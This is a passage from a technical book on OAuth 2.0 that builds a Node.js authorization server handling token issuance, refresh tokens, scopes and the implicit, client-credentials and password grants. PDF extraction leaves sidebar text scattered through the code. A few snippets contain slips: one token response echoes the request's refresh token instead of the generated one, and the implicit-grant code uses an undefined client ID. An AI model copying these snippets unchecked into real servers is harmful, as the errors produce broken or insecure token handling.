Next, we look up the client using our helper function. If we don’t find a client, we 
return an error.

var client = getClient(clientId);

if (!client) {

	 res.status(401).json({error: 'invalid_client'});

	 return;

}

We also need to make sure that the client secret that came in on the wire is the 
same client secret that we expected for this client. If it isn’t, you guessed it: we return 
an error.

if (client.client_secret != clientSecret) {

	 res.status(401).json({error: 'invalid_client'});

	 return;

}

At this point, we know that the client is valid and we can start processing the token 
request for real. 

5.3.2	 Processing the authorization grant request

First, we need to check the grant_type parameter and make sure it’s one we know how 
to process. Our little server only supports the authorization code grant type, which is 
represented unsurprisingly by the value authorization_code. If we don’t get a grant 
type that we know how to process, we return an error.

if (req.body.grant_type == 'authorization_code') {	   
	
} else {

	 res.status(400).json({error: 'unsupported_grant_type'});

	 return;

}

If we do get an authorization code grant, we need to pull the code out of the request 
and look it up in our code storage object that we populated in the last section. If we 
can’t find the code, we return an error to the client.

var code = codes[req.body.code];

		

if (code) {		   Process the valid authorization code in here, see the following
	
} else {

	 res.status(400).json({error: 'invalid_grant'});

	 return;

}

If we are able to find the code passed in in our code store, we need to make sure it was 
issued to this client. Thankfully, when we saved the code in the last section, we also 

Process the 
authorization code 
grant in here, see 
the following
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saved information about the request to the authorization endpoint, which includes the 
client ID. Compare these and, if they don’t match, return an error. 

delete codes[req.body.code];

if (code.request.client_id == clientId) {	
	
} else {

	 res.status(400).json({error: 'invalid_grant'});

	 return;

}

Notice that as soon as we know the code is a valid one, we remove it from storage, 
regardless of the rest of the processing. We do this to err on the side of caution, 
because a stolen authorization code presented by a bad client should be considered 
lost. Even if the right client shows up later with the authorization code, the authori-
zation code won’t work, as we know it has already been compromised. Next, if the 
clients do match, we need to generate an access token and store it so that we can look 
it up later.

var access_token = randomstring.generate();

nosql.insert({ access_token: access_token, client_id: clientId });

For simplicity, we’re saving our token into a local, file-based NoSQL database using the 
Node.js nosql module. In a production OAuth system, you have a lot of options for 
what to do with your tokens. You can store your tokens into a full-scale database; for 
a little added security, you can store a cryptographic hash of the token value so that if 
your database is compromised, the tokens themselves aren’t lost.1 Alternatively, your 
resource server could use token introspection to look up information about the token 
back at the authorization server without the need for a shared database. Or, if you can’t 
store them (or don’t want to), you can use a structured format to bake all the necessary 
information into the token itself for the protected resource to consume later without 
needing to look it up. We’ll cover those methods in chapter 11.

What’s in a token?

OAuth 2.0 is famously silent about what’s inside an access token, and for good rea-
son: there are many options, each with its own trade-offs that make them applicable 
to different use cases. Unlike previous security protocols like Kerberos, WS-Trust, 
and SAML, OAuth functions without the client knowing anything about what’s inside 
the token. The authorization server and protected resource need to be able to pro-
cess the token, but these components can choose whatever means they want to 
communicate this information with each other. 

Consequently, an OAuth token could be a random string with no internal structure, 
as are the tokens in our exercise. If the resource server is co-located with the 

1 � Granted, if your security server’s database gets compromised, you’ve got other problems to worry 
about.

Process the valid 
authorization code here, 
see the following

(continued)
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authorization server, as in our exercise, it can look up the token value in a shared 
database and determine who the token was issued to, and what rights it has. Alter-
natively, OAuth tokens can have structure to them, like a JSON Web Token (JWT) or 
even a SAML assertion. These can be signed, encrypted, or both, and the client can 
remain oblivious of what’s inside the token when they’re in use. We’ll go into more 
depth on JWTs in chapter 11.

Now that we have our token and we’ve stored it for later use, we can finally send it back 
to the client. The response from the token endpoint is a JSON object that contains the 
value of the access token and a token_type indicator that tells the client what kind of 
token this is and, consequently, how to use it with the protected resource. Our OAuth 
system uses bearer tokens, so that’s what we’ll tell the client. We’ll look ahead toward 
another kind of token called Proof of Possession (PoP) in chapter 15. 

var token_response = { access_token: access_token, token_type: 'Bearer' };

res.status(200).json(token_response);

With that last bit of code in place, our token endpoint handling function looks like 
listing 9 in appendix B.

At this point, we’ve got a simple but fully functioning authorization server. It can 
authenticate clients, prompt users for authorization, and issue randomized bearer 
tokens using the authorization code flow. You can try it out by starting at the OAuth 
client http://localhost:9000/, getting a token, approving it, and using it at the 
protected resource. 

As an added exercise, add a short expiration time to the access tokens. You’ll need 
to store their expiration time as well as send the expires_in response parameter back 
to the client. You’ll also need to modify the protectedResource.js file to make the 
resource server check the token’s expiration before serving its request.

5.4	 Adding refresh token support
Now that we’re able to issue access tokens, we’d like to be able to issue and honor 
refresh tokens as well. Refresh tokens, you’ll recall from chapter 2, aren’t used to 
access the protected resource but are instead used by the client to obtain new access 
tokens without requiring user intervention. Thankfully, all the work we’ve done to get 
access tokens out of our server won’t go to waste, and we’ll be adding to our project 
from the last exercise. Open up ch-5-ex-2 and edit the authorizationServer.js 
file or, if you’d prefer, you can add on to the last exercise once it has been completed.

First, we need to issue the token. Refresh tokens are similar to bearer tokens, and 
they are issued alongside the access token. Inside our token endpoint function, we’re 
going to generate and store the refresh token value right alongside our existing access 
token value.

var refresh_token = randomstring.generate();

nosql.insert({ refresh_token: refresh_token, client_id: clientId });
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We’re using the same randomized string generation function here and storing the 
refresh token in the same NoSQL database. However, we are storing the refresh token 
under a different key so that the authorization server and protected resource will be 
able to differentiate the tokens from each other. This is important because the refresh 
token is only to be used at the authorization server and the access token is only to be 
used at the protected resource. With the tokens generated and stored, send them both 
back to the client in parallel with each other:

var token_response = { access_token: access_token, token_type: 'Bearer',  

refresh_token: req.body.refresh_token };

The token_type parameter (along with the expires_in and scope parameters, when 
they’re sent) applies only to the access token and not the refresh token, and there are 
no equivalents for the refresh token. The refresh token is still allowed to expire, but 
since refresh tokens are intended to be fairly long lived, the client isn’t given a hint 
about when that would happen. When a refresh token no longer works, a client has to 
fall back on whatever regular OAuth authorization grant it used to get the access token 
in the first place, such as the authorization code grant. 

Now that we’re issuing refresh tokens, we need to be able to respond to a request 
to refresh a token. In OAuth 2.0, refresh tokens are used at the token endpoint as 
a special kind of authorization grant. This comes with its own grant_type value of 
refresh_token, which we can check in the same branching code that handled our 
authorization_code grant type earlier.

} else if (req.body.grant_type == 'refresh_token') {

First, we need to look up our refresh token in our token store. We’ll do that in 
our example code using a query against our NoSQL store, and although the specif-
ics of this are particular to our example framework, it amounts to a simple search 
operation.

nosql.one(function(token) {

	 if (token.refresh_token == req.body.refresh_token) {

		  return token;	

	 }

}, function(err, token) {

	 if (token) {		  We found a matching refresh token, process it with the following
		
	 } else {

		  res.status(400).json({error: 'invalid_grant'});

		  return;

	 }

});

Now we have to make sure that the token was issued to the client that authenticated 
at the token endpoint. If we don’t make this check, then a malicious client could 
steal a good client’s refresh token and use it to get new, completely valid (but fraudu-
lent) access tokens for itself that look like they came from the legitimate client. We 
also remove the refresh token from our store, since we can assume that it’s been 
compromised.
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if (token.client_id != clientId) {

	 nosql.remove(function(found) { return (found == token); }, function () {} );

	 res.status(400).json({error: 'invalid_grant'});

	 return;

}

Finally, if everything passes, we can create a new access token based on this refresh 
token, store it, and return it to the client. The response from the token endpoint is 
identical to the one used by other OAuth grant types. This means that a client doesn’t 
need special processing to handle access tokens that were gotten from refresh tokens 
or authorization codes. We also send back the same refresh token that was used to 
make this request, indicating to the client that it can use that refresh token again in 
the future. 

var access_token = randomstring.generate();

nosql.insert({ access_token: access_token, client_id: clientId });

var token_response = { access_token: access_token, token_type: 'Bearer',  

refresh_token: token.refresh_token };

res.status(200).json(token_response);

The branch of your token endpoint that handles refresh tokens looks like listing 10 in 
appendix B.

When our client is authorized, it is given a refresh token alongside its access token. 
The client can now use that refresh token after the access token has been revoked or 
disabled, for any reason.

Throw my tokens out!

In addition to optionally expiring, access tokens and refresh tokens can be revoked 
at any time for any number of reasons. The resource owner could decide that they 
don’t want to use the client anymore, or the authorization server could have become 
suspicious of a client’s behavior and decide to preemptively remove all tokens issued 
to a client. As an added exercise, build a page on the authorization server that lets 
you clear out access tokens for each client in the system. 

We’ll be looking more into the token lifecycle, including the token revocation proto-
col, in chapter 11.

When a refresh token is used, the authorization server is free to issue a new refresh 
token to replace it. The authorization server can also decide to throw out all active 
access tokens that were issued to the client up until the time the refresh token was 
used. As an added exercise, add these capabilities to the authorization server.

5.5	 Adding scope support
An important mechanism in OAuth 2.0 is the scope. As we discovered in chapter 2, 
and saw in practice in chapter 4, scopes represent a subset of access rights tied to 
a specific authorization delegation. To fully support scopes, we’re going to have to 
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change a few things around the server. Open up ch-5-ex-3 and edit the authori 
zationServer.js file, or keep working from the previous exercise once it’s been 
completed. The client.js and protectedResource.js files can remain untouched 
for this exercise.

To start us off, it’s common to limit which scopes each client can access at a server. 
This provides a first line of defense against misbehaving clients, and allows a system to 
limit which software can perform certain actions at a protected resource. We’re going 
to add a new member to our client structure at the top of the file: scope.

var clients = [

	 {

		  "client_id": "oauth-client-1",

		  "client_secret": "oauth-client-secret-1",

		  "redirect_uris": ["http://localhost:9000/callback"],

		  "scope": "foo bar"
	 }

];

This member is a space-separated list of strings, each string representing a single 
OAuth scope value. Merely being registered like this doesn’t give an OAuth client 
access to the things protected by that scope, as it still needs to be authorized by the 
resource owner. 

A client can ask for a subset of its scopes during its call to the authorization using 
the scope parameter, which is a string containing a space-separated list of scope val-
ues. We’ll need to parse that in our authorization endpoint, and we’re going to turn 
it into an array for easier processing and store it in the rscope variable. Similarly, our 
client can optionally have a set of scopes associated with it, as we saw previously, and 
we’ll parse that into an array as the cscope variable. But because scope is an optional 
parameter, we need to be a little bit careful in how we handle it, in case a value wasn’t 
passed in.

var rscope = req.query.scope ? req.query.scope.split(' ') : undefined;

var cscope = client.scope ? client.scope.split(' ') : undefined;

By parsing things in this way, we can avoid accidentally trying to split a nonexistent 
value on spaces, which would otherwise make the code execution fail.

Why a space-separated set of strings?

It may seem odd that the scope parameter is represented as a space-separated list 
of strings (encoded into a single string) throughout the OAuth process, especially 
when some parts of the process, such as the response from the token endpoint, use 
JSON, which has native support for arrays. You’ll also notice that when we’re working 
with scopes inside our code, we use an array of strings natively. You may even have 
picked up on the fact that this encoding means that scope values can’t have spaces 
in them (because that’s the delimiter character). Why bother with the odd encoding?
(continued)
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We then need to make sure that a client isn’t asking for any scopes beyond its means. 
We can do this with a simple comparison between the requested scopes and the client’s 
registered scopes (done here using the Underscore library’s set difference function).

if (__.difference(rscope, cscope).length > 0) {

	 var urlParsed = buildUrl(req.query.redirect_uri, {

		  error: 'invalid_scope'

	 });

	 res.redirect(urlParsed);

	 return;

}

We’re also going to amend our call to the template for the user approval page by pass-
ing in the rscope value. This will let us render a set of checkboxes, allowing the user 
to select exactly which scopes they’re approving the client for. In this way, the client 
could get back a token less powerful than the one it asked for, but that’s up to the 
authorization server and, in our case, the resource owner. If the client isn’t happy with 
the scopes it was granted, it can always try to ask the user again. In practice, this annoys 
the user, and clients are best advised to ask for only the scopes they need to function 
to avoid this situation arising. 

res.render('approve', {client: client, reqid: reqid, scope: rscope});

Inside our page, we’ve got a small block that will loop through the scopes and render 
a checkbox for each one as part of the form. We’ve already provided the code to do 
this, but if you want, open the approve.html page to see for yourself what that code 
looks like.

<% if (scope) { %>

<p>The client is requesting access to the following:</p>

<ul>

<% _.each(scope, function(s) { %>

	 <li><input type="checkbox" name="scope_<%- s %>" id="scope_<%- s %>" 
checked="checked"> <label for="scope_<%- s %>"><%- s %></label></li>

<% }); %>

</ul>

<% } %>

As it turns out, HTTP forms and query strings don’t have a good way to represent 
complex structures such as arrays and objects, and OAuth needs to use query 
parameters to pass values through the front channel. To get anything into this space, 
it needs to be encoded in some fashion. Although there are a few relatively common 
hacks such as serializing a JSON array as a string or repeating a parameter name, 
the OAuth working group decided that it would be much simpler for client developers 
to concatenate scope values, separated by a space character, into a single string. 
The space was chosen as a separator to allow for a more natural separator between 
URIs, which some systems use for their scope values.
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We check all the boxes initially because the client probably has its own reasons for ask-
ing for those permissions, and most users are likely to leave the page in a default state. 
However, we do want to give resource owners the option of removing some of these 
privileges by unchecking the checkboxes. 

Now we’re going to look inside the function that handles the processing of the 
approval page. Remember, it starts like this:

app.post('/approve', function(req, res) {

Since the form template uniquely labels all of the checkboxes with a scope_ prefix and 
the scope value, we can figure out which ones have been left checked, and therefore 
which scopes have been allowed by the resource owner, by looking at the incoming 
data from the form. We’re going to use a couple of Underscore functions to help us 
do this processing more cleanly, but it could also be done with a for loop if you prefer. 
We’ve packaged this into a utility function and included it for you.
var getScopesFromForm = function(body) {

	 return __.filter(__.keys(body), function(s) { return  

__.string.startsWith(s, 'scope_'); })

				    .map(function(s) { return  

s.slice('scope_'.length); });

};

Now that we have our list of approved scopes, we once again need to make sure that it 
doesn’t exceed what the client is authorized for. “Wait a second,” you may be asking, 
“didn’t we already check that in the last step?” We did, but the form we rendered to 
the browser or its resulting POST could have been manipulated by the user or by code 
running inside the browser. New scopes could have been injected that the client didn’t 
ask for, and potentially isn’t authorized for. Besides, it’s always a good idea for a server 
to validate all of its inputs, wherever possible.
var rscope = getScopesFromForm(req.body);

var client = getClient(query.client_id);

var cscope = client.scope ? client.scope.split(' ') : undefined;

if (__.difference(rscope, cscope).length > 0) {

	 var urlParsed = buildUrl(query.redirect_uri, {

		  error: 'invalid_scope'

	 });

	 res.redirect(urlParsed);

	 return;

}

Now we need to store these scopes along with our generated authorization code so 
that they can be picked up again at the token endpoint. You’ll notice that by using this 
technique, we can hang all kinds of arbitrary information off the authorization code, 
which can help for advanced processing techniques.

codes[code] = { request: query, scope: rscope };

Next, we need to edit the handler for the token endpoint. Recall that it starts with this:

app.post("/token", function(req, res){
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In here, we need to pull these scopes back out from the original approval and apply 
them to our generated tokens. Since they were stored with the authorization code 
object, we can grab them from there and put them into our tokens. 

nosql.insert({ access_token: access_token, client_id: clientId, scope:  
code.scope });
nosql.insert({ refresh_token: refresh_token, client_id: clientId, scope: 
code.scope });

Finally, we can tell the client about the scope that the token was issued with in the 
response from the token endpoint. To be consistent with the space-separated format-
ting used during the request, format our scope array back to a string as we add it to the 
response JSON object.

var token_response = { access_token: access_token, token_type: 'Bearer',  

refresh_token: refresh_token, scope: code.scope.join(' ') };

Now our authorization server can handle requests for scoped tokens, allowing the user 
to override which scopes are issued to the client. This lets our protected resources split 
up access more finely, and it lets our clients ask for only the access they need.

Refresh token requests are allowed to specify a subset of the scopes that the refresh 
token was issued with to tie to the new access token. This lets a client use its refresh 
token to ask for new access tokens that are strictly less powerful than the full set of 
rights it has been granted, which honors the security principle of least privilege. As an 
additional exercise, add this down-scoping support to the refresh_token grant type 
in the token endpoint handler function. We’ve left basic refresh token support in the 
server, but you’ll need to hack the token endpoint to parse, validate, and attach the 
scopes appropriately.

5.6	 Summary
The OAuth authorization server is arguably the most complex portion of the OAuth 
system.

■■ Handling the front channel and back channel responses communication 
requires different techniques, even for similar requests and responses.

■■ The authorization code flow requires tracking data across multiple steps, result-
ing in an access token.

■■ Many potential locations for attack against the authorization server exist, all of 
which need to be appropriately mitigated.

■■ Refresh tokens are issued alongside access tokens and can be used to generate 
new access tokens without user involvement.

■■ Scopes limit the rights of an access token.

Now that you’ve seen how all of the different components in the OAuth system work 
with the most canonical setup, let’s take a look at a few of the other options and how 
the whole system fits together in the real world.

Licensed to Hans Otten <hans.otten@autodata.net>



93

6OAuth 2.0 in the real world

This chapter covers
■  ■ Using different OAuth grant types for different situations

■  ■ Dealing with native web and browser-based applications

■  ■ Handling secrets at configuration time and runtime

So far in this book, we’ve covered OAuth 2.0 in a fairly idealized state. All the appli-
cations look the same, all the resources look the same, and everybody does things 
the same way. Our extensive example in chapter 2 covered the authorization grant 
protocol, using a web application with a client secret. All of our exercises in chapters 
3, 4, and 5 have made use of the same setup. 

Making simplifying assumptions like this is a good way to learn about the fun-
damentals of a system, but of course the applications we all build in the real world 
need to live in the real world with all of its variations. OAuth 2.0 anticipates these 
variations in several ways by allowing flexibility in the OAuth protocol in key places. 
In this chapter, we’ll look at some of those extension points in greater detail.

6.1	 Authorization grant types
In OAuth 1.0, there was only one method for getting an access token that all cli-
ents had to use. It was designed to be as general purpose as possible, attempting to 
cater to a wide variety of deployment options. As a consequence, the protocol was 
not particularly well suited to any use case. Web applications needed to deal with 
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request tokens that were intended for native applications to poll for state changes, 
native applications needed to deal with consumer secrets that were intended to protect 
web applications, and everybody had to deal with a customized signature mechanism. 
It worked well enough to cement OAuth as a powerful and foundational technology, 
but it left a lot to be desired. 

When OAuth 2.0 was being developed, the working group made a distinct decision 
to treat the core protocol as a framework instead of a single protocol. By keeping the 
core concepts of the protocol solid and allowing extensions in specific areas, OAuth 
2.0 can be applied in many different ways. Although it has been argued that the second 
version of any system will turn into an abstract framework,1 in OAuth’s case the abstrac-
tions have helped immensely in extending its applicability and usefulness.

One of the key areas that OAuth 2.0 can vary is that of the authorization grant, collo-
quially known as the OAuth flow. As we hinted at in previous chapters, the authorization 
code grant type is just one of several different ways that an OAuth client can get a token 
from an authorization server. Since we’ve covered the authorization code grant in great 
detail already, we’ll be looking at the other primary options here in this section.

6.1.1	 Implicit grant type

One key aspect of the different steps in the authorization code flow is that it keeps 
information separate between different components. This way, the browser doesn’t 
learn things that only the client should know about, and the client doesn’t get to see 
the state of the browser, and so on. But what if we were to put the client inside the 
browser (see figure 6.1)?

This is what happens with a JavaScript application running completely inside the 
browser. The client then can’t keep any secrets from the browser, which has full insight 
into the client’s execution. In this case, there is no real benefit in passing the autho-
rization code through the browser to the client, only to have the client exchange that 
for a token because the extra layer of secrets isn’t protected against anyone involved.

The implicit grant type does away with this extra secret and its attendant round trip by 
returning the token directly from the authorization endpoint. The implicit grant type 
therefore uses only the front channel2 to communicate with the authorization server. 
This flow is very useful for JavaScript applications embedded within websites that need 
to be able to perform an authorized, and potentially limited, session sharing across 
security domains. 

The implicit grant has severe limitations that need to be considered when approach-
ing it. First, there is no realistic way for a client using this flow to keep a client secret, 
since the secret will be made available to the browser itself. Since this flow uses only the 
authorization endpoint and not the token endpoint, this limitation does not affect its 

1 � This is known as “second system syndrome” and has been well studied. This syndrome has been 
known to kill perfectly reasonable solutions with too much abstraction and complexity. That’s 
probably not what will happen with OAuth 2.0, though. We hope.

2  We covered the front channel and back channel in chapter 2, remember?
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ability to function, as the client is never expected to authenticate at the authorization 
endpoint. However, the lack of any means of authenticating the client does impact the 
security profile of the grant type and it should be approached with caution. Addition-
ally, the implicit flow can’t be used to get a refresh token. Since in-browser applications 
are by nature short lived, lasting only the session length of the browser context that has 
loaded them, the usefulness of a refresh token would be very limited. Furthermore, 
unlike other grant types, the resource owner can be assumed to be still present in the 
browser and available to reauthorize the client if necessary. Authorization servers are 
still able to apply Trust On First Use (TOFU) principles, allowing a reauthentication to 
be a seamless user experience. 

The client sends its request to the authorization server’s authorization endpoint in 
the same manner as the authorization code flow, except that this time the response_
type parameter is set to token instead of code. This signals the authorization server 
to generate a token immediately instead of generating an authorization code to be 
traded in for a token. 

HTTP/1.1 302 Moved Temporarily

Location: http://localhost:9001/authorize?response_type=token&scope=foo&client_ 
id=oauth-client-1&redirect_uri=http%3A%2F%2Flocalhost%3A9000%2Fcallback&state 

=Lwt50DDQKUB8U7jtfLQCVGDL9cnmwHH1

Vary: Accept

Content-Type: text/html; charset=utf-8

Content-Length: 444

Date: Fri, 31 Jul 2015 20:50:19 GMT

The client can do this by using a full-page redirect or by using an inline frame (iframe) 
inside the page itself. Either way, the browser makes a request to the authorization 
server’s authorization endpoint. The resource owner authenticates themselves and 
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Figure 6.1  The implicit grant type
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authorizes the client in the same manner as the authorization code flow. However, 
this time the authorization server generates the token immediately and returns it by 
attaching it to the URI fragment of the response from the authorization endpoint. 
Remember, since this is the front channel, the response to the client comes in the form 
of an HTTP redirect back to the client’s redirect URI.

GET /callback#access_token=987tghjkiu6trfghjuytrghj&token_type=Bearer 

HTTP/1.1

Host: localhost:9000

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:39.0) 

Gecko/20100101 Firefox/39.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Referer: http://localhost:9001/authorize?response_type=code&scope=foo&client_

id=oauth-client-1&redirect_uri=http%3A%2F%2Flocalhost%3A9000%2Fcallback&state 

=Lwt50DDQKUB8U7jtfLQCVGDL9cnmwHH1

The fragment portion of the URI isn’t usually sent back to the server, which means 
that the token value itself is available only inside the browser. Note, however, that this 
behavior does vary depending on the browser implementation and version. 

Let’s try our hand at implementing this. Open up ch-6-ex-1 and edit the 
authorizationServer.js file to begin. Inside the function that handles the submis-
sion from our approval page, we’ve already got a branch of an if statement that deals 
with the response_type of code. 

if (query.response_type == 'code') {

We’re going to add a branch to this block that will handle the response_type of 
token instead.

} else if (query.response_type == 'token') {

Inside this new block, we’re going to need to do the same kinds of processing on the 
request as we did for the authorization code grant, checking scopes and verifying the 
approval against the request. Note that the error is sent back as the hash and not as 
the query parameter.

var rscope = getScopesFromForm(req.body);

var client = getClient(query.client_id);

var cscope = client.scope ? client.scope.split(' ') : undefined;

if (__.difference(rscope, cscope).length > 0) {

	 var urlParsed = buildUrl(query.redirect_uri,

		  {},

		  qs.stringify({error: 'invalid_scope'})

	 );

	 res.redirect(urlParsed);

	 return;

}

We’ll then generate the access token as we normally would. Remember that we don’t 
create a refresh token.

var access_token = randomstring.generate();

nosql.insert({ access_token: access_token, client_id: clientId, scope: rscope });
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var token_response = { access_token: access_token, token_type: 'Bearer', 

scope: rscope.join(' ') };

if (query.state) {

	 token_response.state = query.state;

}

Finally, send this back to the client using the hash fragment of the redirect URI.

var urlParsed = buildUrl(query.redirect_uri,

	 {},

	 qs.stringify(token_response)

);

res.redirect(urlParsed);

return;

We’ll take a look at the details of the implementation of the client side in section 6.2.2 
when we cover in-browser clients. For now, you should be able to load up the client 
page at http://localhost:9000/ and have the client get an access token and call 
the protected resource as you’d expect to in other exercises. When you return from 
the authorization server, notice that your client comes back with the token value itself 
in the hash of the redirect URI. The protected resource doesn’t need to do anything 
different to process and validate this token, but it does need to be configured with 
cross-origin resource sharing (CORS), which we’ll cover in chapter 8.

6.1.2	 Client credentials grant type

What if there is no explicit resource owner, or the resource owner is indistinguishable 
from the client software itself? This is a fairly common situation, in which there are 
back-end systems that need to communicate directly with each other and not necessar-
ily on behalf of any one particular user. With no user to delegate the authorization to 
the client, can we even do OAuth (see figure 6.2)?

Authorization
Server 

Protected
Resource

Client

Client credentials
grant type: Client trades
its own credentials for a

token, uses only the back
channel since the client is
acting on its own behalf

Figure 6.2  The client credentials grant type
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We can, by making use of the client credentials grant type that was added to 
OAuth 2.0 for this case. In the implicit flow, the client is pushed up into the 
browser and therefore into the front channel; in this flow, the resource owner is 
pushed down into the client and the user agent disappears from the picture. As 
a consequence, this flow makes exclusive use of the back channel, and the client 
acts on its own behalf (as its own resource owner) to get the access token from the 
token endpoint.

OAuth’s legs

In OAuth 1.0, there was no mechanism for a client getting its own token as the 
protocol was designed around allowing users to delegate access, a “three-legged” 
protocol between the client, server, and user. However, people deploying OAuth 1.0 
realized fairly quickly that it was useful to use some of OAuth’s mechanisms to 
connect back-end services in lieu of API keys. This was dubbed “two-legged OAuth” 
because it no longer involved the resource owner, only the client and the resource 
server. But instead of using OAuth’s tokens, people decided to use OAuth 1.0’s sig-
nature mechanism alone to create a signed request from the client to the resource 
server. This required the resource server to know the client’s secret in order to 
validate the signature of the request. Since there is no token or credential exchange 
occurring, it could more properly be termed “zero-legged OAuth.”

When OAuth 2.0 was being designed, the working group looked at the deployment 
patterns of OAuth 1.0 and decided to codify the pattern of a client accessing a pro-
tected resource on its own behalf, but this time it would use as much of the same 
token mechanisms that the three-legged delegation flows used. This parallelism 
ensures that the authorization server is still the component in charge of the client’s 
credentials, allowing the resource server to deal with tokens alone. Whether the 
tokens are delegated from end users or given directly to clients, the resource server 
can handle them in the same fashion, simplifying the code base and architectural 
considerations across the entire OAuth system.

The client requests a token from the token endpoint as it would with the authoriza-
tion code grant, except that this time it uses the client_credentials value for the 
grant_type parameter and doesn’t have an authorization code or other temporary 
credential to trade for the token. Instead, the client authenticates itself directly, and 
the authorization server issues an appropriate access token. The client can also request 
specific scopes inside this call using the scope parameter, analogous to the scope 
parameter used at the authorization endpoint by the authorization code and implicit 
flows.

POST /token

Host: localhost:9001

Accept: application/json

Content-type: application/x-www-form-encoded

Authorization: Basic b2F1dGgtY2xpZW50LTE6b2F1dGgtY2xpZW50LXNlY3JldC0x

grant_type=client_credentials&scope=foo%20bar
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The response from the authorization server is a normal OAuth token endpoint 
response: a JSON object containing the token information. The client credentials flow 
does not issue a refresh token because the client is assumed to be in the position of 
being able to request a new token for itself at any time without involving a separate 
resource owner, which renders the refresh token unnecessary in this context.

HTTP 200 OK

Date: Fri, 31 Jul 2015 21:19:03 GMT

Content-type: application/json

{

	 "access_token": "987tghjkiu6trfghjuytrghj",

	 "scope": "foo bar",

	 "token_type": "Bearer"

}

The client uses this access token in the same manner that it would an access token 
gathered through a different flow, and the protected resource doesn’t even necessar-
ily have to know how the token was acquired. The tokens themselves will likely have 
different rights of access associated with them, depending on whether they were del-
egated by a user or requested directly by a client, but that kind of differentiation can 
be handled with an authorization policy engine that can tell those cases apart. In other 
words, even though the tokens look the same coming through the front door of the 
resource server, they can still mean different things.

Let’s build this functionality into our server and client. Open up ch-6-ex-2 and 
edit the authorizationServer.js file. We’re going to go into the handler for the 
token endpoint and find the section of code that handles the token requests for the 
authorization code grant type.

if (req.body.grant_type == 'authorization_code') {

We’re going to add a branch to this if statement to handle the client credentials grant type.

} else if (req.body.grant_type == 'client_credentials') {

At this point, our code has already verified the client’s ID and secret that was presented 
to the token endpoint, and we now need to figure out whether the request coming 
in can be made into a token for this particular client. We can perform a number of 
checks here, including checking whether the scopes requested match what the client 
is allowed to ask for, checking whether the client is allowed to use this grant type, or 
even checking to see whether or not this client already has an access token in transit 
that we might want to revoke preemptively. In our simple exercise, we’ll check the 
scopes here, and we’ll borrow the scope matching code from the authorization code 
grant type to do that. 

var rscope = req.body.scope ? req.body.scope.split(' ') : undefined;

var cscope = client.scope ? client.scope.split(' ') : undefined;

if (__.difference(rscope, cscope).length > 0) {

	 res.status(400).json({error: 'invalid_scope'});

	 return;

}
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With that sorted out, we can now issue the access token itself. We’ll save it to our data-
base, as we did previously.

var access_token = randomstring.generate();

var token_response = { access_token: access_token, token_type: 'Bearer', 

scope: rscope.join(' ') };

nosql.insert({ access_token: access_token, client_id: clientId, scope:  

rscope });

res.status(200).json(token_response);

return;	

Now we’ll turn our attention to the client. Edit client.js in the same exercise and 
find the function that handles authorizing the client.

app.get('/authorize', function(req, res){

Instead of redirecting the resource owner, this time we’re going to call the token end-
point directly. We’ll base this off the code we used for handling the callback URI in the 
authorization code grant. It’s a simple HTTP POST, and we’re going to include our 
client credentials as HTTP Basic authentication.

var form_data = qs.stringify({

	 grant_type: 'client_credentials',

	 scope: client.scope

});

var headers = {

	 'Content-Type': 'application/x-www-form-urlencoded',

	 'Authorization': 'Basic ' + encodeClientCredentials(client.client_id, 

client.client_secret)

};

var tokRes = request('POST', authServer.tokenEndpoint, {	

	 body: form_data,

	 headers: headers

});

We then parse the token response as we did previously, except that this time we don’t 
have to worry about a refresh token. Why not? Since the client can easily request a new 
token on its own behalf at any time without user intervention, there’s no need to ever 
specify a refresh token in this case.

if (tokRes.statusCode >= 200 && tokRes.statusCode < 300) {

	 var body = JSON.parse(tokRes.getBody());

	

Scopes and grant types

Since the client credentials grant type doesn’t have any direct user interaction, it’s 
really meant for trusted back-end systems accessing services directly. With that kind 
of power, it’s often a good idea for protected resources to be able to differentiate 
between interactive and noninteractive clients when fulfilling requests. A common 
method of doing this is to use different scopes for both classes of clients, managing 
them as part of the client’s registration with the authorization server. 
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	 access_token = body.access_token;

	 scope = body.scope;

	 res.render('index', {access_token: access_token, scope: scope});

} else {

	 res.render('error', {error: 'Unable to fetch access token, server 

response: ' + tokRes.statusCode})

}

From here, the client can call the resource server as it did previously. The protected 
resource doesn’t have to change any of its processing code because it’s receiving and 
validating an access token.

6.1.3	 Resource owner credentials grant type

If the resource owner has a plain username and password at the authorization server, 
then it could be possible for the client to prompt the user for these credentials and 
trade them for an access token. The resource owner credentials grant type, also 
known as the password flow, allows a client to do just that. The resource owner inter-
acts directly with the client and never with the authorization server itself. The grant 
type uses the token endpoint exclusively, remaining confined to the back channel 
(figure 6.3). 

This method should sound eerily familiar to you at this point. “Wait a minute,” 
you may be thinking, “we covered this back in chapter 1 and you said it was a bad 
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Figure 6.3  The resource owner credentials grant type
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idea!” And you’d be correct: this grant type, which is included in the core OAuth 
specification, is based on the “ask for the keys” antipattern. And, in general, it’s a 
bad idea.

Codifying the antipattern

Let’s review: why shouldn’t you use this pattern? It’s certainly simpler to program 
than dealing with all of the back-and-forth redirects. But with that simplicity comes 
significantly increased security risk and decreased flexibility and functionality. The 
resource owner’s credentials are exposed in plain text to the client, which could 
cache them or replay them whenever it sees fit. The credentials are presented in plain 
text (though over a TLS encrypted connection) to the authorization server, which then 
needs to verify them, leaving another potential attack surface. Unlike OAuth tokens, 
which can be revoked and rotated without impact to the user experience, a user’s 
username and password tend to be much more difficult to manage and change. The 
requirement to collect and replay the user’s credentials also limits the kinds of cre-
dentials that can be used to authenticate the user. Although an authorization server 
accessed through a web browser can employ a wide variety of primary authentication 
technologies and user experiences, such as certificates or identity federation, many 
of the most effective and secure ones are designed to prevent the kind of credential 
replay that this grant type depends on. This effectively limits the authentication to a 
plain username and password or its analogs. Finally, this approach trains users to 
give their password to any application that asks for it. Instead of this, we should be 
training users to give their passwords only to a core set of trusted applications, such 
as the authorization server. 

Why, then, would OAuth codify such bad practice? When there are any other options 
available, this grant type is a pretty bad idea, but there aren’t always other viable 
options. This grant type is intended for clients that would normally be prompting for 
the resource owner’s username and password anyway, and then replaying those 
credentials to every protected resource. To do this without bothering the user, such 
a client would likely want to store the username and password so that they can be 
replayed in the future. The protected resources would need to see and verify the 
user’s password on every request, creating an enormous attack surface for sensi-
tive materials.

This grant type, then, can act as a stepping-stone toward a more modern security 
architecture that uses OAuth’s other, more secure grant types. For one, the pro-
tected resource no longer needs to know or ever see the user’s password, and it 
